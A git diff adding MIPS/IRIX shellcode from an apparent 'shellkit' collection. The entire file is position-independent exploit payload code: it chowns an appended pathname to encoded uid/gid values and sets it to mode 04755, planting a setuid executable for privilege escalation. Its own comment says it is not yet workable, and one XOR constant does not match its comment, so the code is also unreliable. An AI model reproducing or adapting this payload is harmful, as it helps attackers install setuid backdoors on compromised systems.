initial

1 files changed, 49 insertions, 0 deletions

diff --git a/other/shellkit/mips_irix/chmod.s b/other/shellkit/mips_irix/chmod.s
new file mode 100644
index 0000000..181c123
--- /dev/null
+++ b/other/shellkit/mips_irix/chmod.s
@@ -0,0 +1,49 @@
+/* MIPS/IRIX PIC chmod code
+ *
+ * -sc.
+ */
+
+#include <sgidefs.h>
+#include <sys/regdef.h>
+#include <sys/asm.h>
+#include <sys.s>
+#include <sys/syscall.h>
+
+        .section .text
+
+        .globl  cbegin
+        .globl  cend
+
+        /* FIXME: its not workable atm */
+cbegin:
+        .set    noreorder
+        .set    nomacro
+
+lbl:    bltzal  zero, lbl
+
+        li      a1, 0x4141      /* a1 = uid ^ 0x5555 */
+        xor     a1, a1, 0x5555
+        li      a2, 0x4242      /* a2 = gid ^ 0x5555 */
+        xor     a2, a2, 0x555
+
+        addu    a0, ra, 0x0180
+        sb      zero, -(0x0148 + -(9))(a0)
+        subu    a0, a0, 0x0148
+
+        /* chown (a0 = pathname, a1 = uid, a2 = gid) */
+        li      v0, SYS_chown   /* 0x03f8 */
+        syscall
+
+        /* chmod (a0 = pathname, a1 = 04755) */
+        li      a1, 0x09ed      /* a1 = 04755 = 0x09ed */
+        li      v0, SYS_chmod   /* 0x03f7 */
+        syscall
+
+        li      v0, SYS_exit    /* 0x03e9 */
+        syscall
+        li      t8, 0x72ec      /* sane ds */
+
+        .end    cbegin
+cend:
+
+        /* XXX: append pathname here, will get NUL terminated */